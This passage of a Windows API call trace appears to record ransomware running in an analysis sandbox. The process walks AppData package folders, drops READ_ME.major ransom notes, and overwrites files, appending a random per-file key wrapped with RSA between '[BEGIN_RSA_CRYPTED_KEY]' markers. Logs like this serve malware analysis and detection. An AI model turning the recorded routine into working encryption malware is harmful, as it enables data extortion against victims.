ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.202] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fba40 [0200.202] FindNextFileW (in: hFindFile=0x30fba40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.202] FindNextFileW (in: hFindFile=0x30fba40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308b81de, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308b81de, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.202] FindNextFileW (in: hFindFile=0x30fba40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308b81de, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308b81de, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.202] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbec0 [0200.202] FindNextFileW (in: hFindFile=0x30fbec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.203] FindNextFileW (in: hFindFile=0x30fbec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308b81de, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308b81de, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.203] FindNextFileW (in: hFindFile=0x30fbec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e25670, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0200.203] FindNextFileW (in: hFindFile=0x30fbec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0200.203] FindNextFileW (in: hFindFile=0x30fbec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0200.203] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.203] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0200.203] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10f8 [0200.204] GetFileSizeEx (in: hFile=0x10f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.204] ReadFile (in: hFile=0x10f8, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.207] SetFilePointer (in: hFile=0x10f8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.207] WriteFile (in: hFile=0x10f8, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.207] SetFilePointer (in: hFile=0x10f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.208] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.208] WriteFile (in: hFile=0x10f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.208] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.208] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.208] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.208] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cI0GdvlF1oc6xi84zBkQvGH1NplaUEPDQjjaaui5o/0cZWZBo6YouJ7QF+0/pC9j\nuR0H7EY5ztTfYBEZ1fJiTT0sR2HcEUSqnh4Q0GhS3snyYE+NjVKaYNlooN0G4wdC\nl4zczycGoEOBTGV2F/Z8WvSC7Iww4rGXDQJhSeisl9FtgsF4tCMw2NItOs/xxyu3\n2SBNiocIxFu1uMKcIyCI8uUpLoajBQUdyCPyg9GsOVn7BVlGq1k3lGjtjA9Q2VtJ\nNwCliUIPRCd5cvN1cGHduS0C8vjlUs/o+O2JpON5wTCehcTRiyMM60UZXUiCuFgg\nplJfLomwcqZ4GiMzXYymKQ==\n", pcchString=0x2e3f9a8) returned 1 [0200.208] WriteFile (in: hFile=0x10f8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.208] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.209] WriteFile (in: hFile=0x10f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.209] CloseHandle (hObject=0x10f8) returned 1 [0200.213] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.213] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0200.213] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10f8 [0200.214] GetFileSizeEx (in: hFile=0x10f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.214] ReadFile (in: hFile=0x10f8, lpBuffer=0x59d200, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.214] SetFilePointer (in: hFile=0x10f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.214] WriteFile (in: hFile=0x10f8, lpBuffer=0x59d1f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.214] SetFilePointer (in: hFile=0x10f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.214] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.214] WriteFile (in: hFile=0x10f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.215] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.215] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.216] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.216] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="P+ivyThl9rRnqOlZBZ5kd0lGi8Phw3dP7ttjc6glu0sX/rD8aKgAP05uKZ8uEzML\nwB+M64DJ0a30wNo+RVdmDzSOq2sAuAJiqoQW0CU0YOdAgueao1bjyIuwzlfdr6Xv\nHHQ84o2xjjYiJUSicdVCvR8faRUA3LDu0cgJppCrwYhpEh1KRSx1Tm54TB9SxUBY\nax7wvG/WL033ymQ/ezKWViL3bc1Rwk3PneboICA87FI0MsOaXpIrX8iwk9FPBUdH\ns4XaeUkNbZCGz1cD/nl6LsE8AIhI0Pv3ot4VSJUmPVRSfx+gReWD5M1bHPF/sVsu\nBFdz5o+H06xjuq3gaVbXIg==\n", pcchString=0x2e3f9a8) returned 1 [0200.216] WriteFile (in: hFile=0x10f8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.216] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.216] WriteFile (in: hFile=0x10f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.216] CloseHandle (hObject=0x10f8) returned 1 [0200.229] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308dde32, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbb80 [0200.229] FindNextFileW (in: hFindFile=0x30fbb80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308dde32, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.229] FindNextFileW (in: hFindFile=0x30fbb80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308dde32, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308dde32, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308dde32, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.229] FindNextFileW (in: hFindFile=0x30fbb80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308dde32, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308dde32, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308dde32, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.229] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308dde32, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbbc0 [0200.229] FindNextFileW (in: hFindFile=0x30fbbc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308dde32, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.229] FindNextFileW (in: hFindFile=0x30fbbc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308dde32, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308dde32, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308dde32, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.229] FindNextFileW (in: hFindFile=0x30fbbc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308dde32, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308dde32, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308dde32, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.230] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x309767e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbfc0 [0200.230] FindNextFileW (in: hFindFile=0x30fbfc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x309767e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.230] FindNextFileW (in: hFindFile=0x30fbfc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0200.230] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1104 [0200.231] WriteFile (in: hFile=0x1104, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.232] CloseHandle (hObject=0x1104) returned 1 [0200.232] FindNextFileW (in: hFindFile=0x30fbfc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0200.233] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1104 [0200.234] WriteFile (in: hFile=0x1104, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.235] CloseHandle (hObject=0x1104) returned 1 [0200.235] FindNextFileW (in: hFindFile=0x30fbfc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0200.235] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1104 [0200.236] WriteFile (in: hFile=0x1104, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.237] CloseHandle (hObject=0x1104) returned 1 [0200.237] FindNextFileW (in: hFindFile=0x30fbfc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309767e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x309767e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.237] FindNextFileW (in: hFindFile=0x30fbfc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0200.237] FindNextFileW (in: hFindFile=0x30fbfc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, 